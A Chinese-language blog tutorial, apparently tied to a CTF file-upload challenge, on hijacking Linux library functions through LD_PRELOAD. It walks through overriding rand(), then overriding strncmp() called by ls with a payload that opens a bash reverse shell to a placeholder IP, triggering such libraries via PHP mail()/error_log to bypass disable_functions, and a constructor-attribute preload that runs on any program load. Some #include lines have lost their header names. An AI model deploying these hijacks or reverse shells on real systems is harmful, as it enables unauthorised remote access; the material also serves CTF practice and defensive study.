上一篇的das最后一个文件上传题可以利用到LD_PRELOAD,我们下面来慢慢来说一下LD_PRELOAD是什么,为什么一个小小的变量能做的事这么大,这么危险,我们如何利用它的各种姿势来渗透。
简单来说LD_PRELOAD是Linux下的一个环境变量,被用于动态链接库的加载,在动态链接库加载过程中它的优先级是最高的。这里提到了动态链接库,我们就不能回避一个问题,什么是链接?是什么样的链接?
所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置,而链接又分为如下几种:
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
动态链接与静态链接各有优缺,从上面的介绍我们得知,静态链接其实就是把所有的函数打包在一起编译为一个可执行文件,编译后函数无法更改,就是直接使用。动态链接的函数并没有编译到可执行文件中,而是用一个动态链接库用于在程序执行时动态的加载库中的函数,若动态库中的函数发生变化对于可执行程序来说时透明的,这样的好处是对于程序的更新、维护等等非常的容易,反观静态链接如果需要更新啥的就必须得重新写文件重新编译再发布。
言归正传,我们回到LD_PRELOAD这玩意儿的作用上来,LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库,那么我们便可以在自己定义的动态链接库中装入恶意函数。
所以既然LD_PRELOAD会影响到动态链接库的加载,而由于Linux下有很多的指令,那么假设现在出现了一种这样的情况,一个文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一模一样,而LD_PRELOAD路径指向这个文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,最后当我们执行了一个指令后它会自动调用一次恶意的函数,这就会导致一些非预期的漏洞出现(如反弹shell),非常的恐怖!!
首先了解一些基本知识
1 .so后缀就是动态链接库的文件名 。
2 export LD_PRELOAD=*** 是修改LD_PRELOAD的指向 。
3 我们自定义替换的函数必须和原函数相同,包括类型和参数 。
4 还原LD_PRELOAD的最初指向命令为:unset LD_PRELOAD 。
我们调用一个C中自带的简单函数,就拿rand()函数来说,他会随机生成一个数,输出的值是随机的,
#include
#include
#include
int main()
{
srand(time(NULL)); //随机生成种子,保证每次出现的随机数不相同
int i = 10;
while(i--) printf("%d\n",rand());
return 0;
}
但凡学过一点C语言的小伙伴们都看得懂这个代码,我们目前拿这个代码做测试,测试一下我们能否使用LD_PRELOAD环境变量去劫持rand()函数,使得rand()函数按照我们自己的意愿去做。
可以看到,我们编译后可执行文件执行的两次随机函数生成的数据不同,重点来了。
我们需要用如下gcc命令编译生成我们的动态库链接,
gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
成功了!!我们把本应该随机生成的数据固定的输出为310,而原本的rand()随机生成数的函数被覆盖后就没有什么卵用了。
我们再用ldd查看可执行文件加载的动态库优先顺序,
看到了这里我想你多少也会对这个有一定的理解了,接下来讲个更有意思的。
前面了解到LD_PRELOAD劫持并非纸上谈兵,它的的确确能够劫持函数使得我们自定义函数的功能覆盖原函数。
而前面还提到过Linux终端存在着许多的命令,如ls、cat、vim、ifconfig等等,而这些指令并非是我们看到的输入直接得到数据,它其实背后运行了许多的函数,若我们利用LD_PRELOAD劫持了这些函数中的其中一个,自定义一个恶意代码覆盖某个函数,当我们执行一次指令恶意代码就执行一次,非常的恐怖!!我们来看看吧!
用如下命令查看ls会调用的函数
readelf -Ws /usr/bin/ls
这都是一些执行ls时会调用到的函数。这里我们利用一下strncmp()这个函数,里面的参数怎么看呢?利用报错,如下,
报错信息已经告诉我们参数的类型和数量了,所以正确的构造如下:
#include
#include
#include
void payload() {
printf("hello i am haker!!!\n");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) { //这个函数在这里的作用是阻止该payload一直执行
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
成功了!!那么如果我们在这里把payload修改为bash命令弹shell呢?
#include
#include
#include
void payload() {
system("bash -c 'bash -i >& /dev/tcp/your_IP/2333 0>&1'");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
可以看到我们在kali机中执行一次ls就把shell弹到我们自己的服务器上去了。前提是只要它不把ls那个终端进程kill我们就可以对其shell进行操作,若终端被kill了服务器的shell也就没了。
在上篇das最后一个题提到过到mail函数,mail函数是一个发送邮件的函数,当使用到这玩意儿发送邮件时会使用到系统程序/usr/sbin/sendmail,我们如果能劫持到sendmail触发的函数,那么就可以达到我们之前讲的那个目的了。
查看一下sendmail会触发的函数,
在使用mail配合LD_PRELOAD劫持时,这些函数可以起到很大的作用。我们这里用getuid()函数实验。还是一样写一个自定义的动态库链接,由于mail是php函数,所以我们用php文件执行。
除了mail会触发/usr/sbin/sendmail以外,还有一个函数------error_log也会触发,而且与mail的使用方法是一模一样的,这里不演示了丢一个代码感兴趣可以自己去测试,
上面的演示中可以看到我的kali中有/usr/sbin/sendmail,但是实际上本来是没有这个环境的,是因为我后期要演示所以安装了。
那么回到我们的LD_PRELOAD来,如果是在实际环境中我们很难有利用的点,要么就是函数被禁了,要么就是没有安装我们需要利用的环境。
这里我在师傅Mockingjay的文章中看到了一个非常厉害的方法,就是说,我们能不能找到一个函数,它能够使任何加载动态链接库都执行一次该函数,如果能这样我们就不需要仅依赖于sendmail来劫持函数了,这是一个很大胆的想法但同时不得不说这也是一个很厉害的想法。
从这位师傅的文章中我得知GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它。我们一起来看看这是什么神仙方法吧!
//last.c
#include
#include
#include
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
printf("i am hacker!!\n");
}
还是一样,把这个这个动态库文件用gcc编译为一个.so的后缀名。
可以看到,我们无论执行什么,他都会先加载这个修饰符,如果是bash那些命令或者其它的恶意代码是非常非常危险和恐怖的!!
参考:有趣的 LD_PRELOAD - 安全客,安全资讯平台
利用LD_PRELOAD实现函数劫持以及用法总结 – Zgao's blog
简单讲解如何绕过PHP disable_function_h0ld1rs的博客-CSDN博客_php绕过disable_function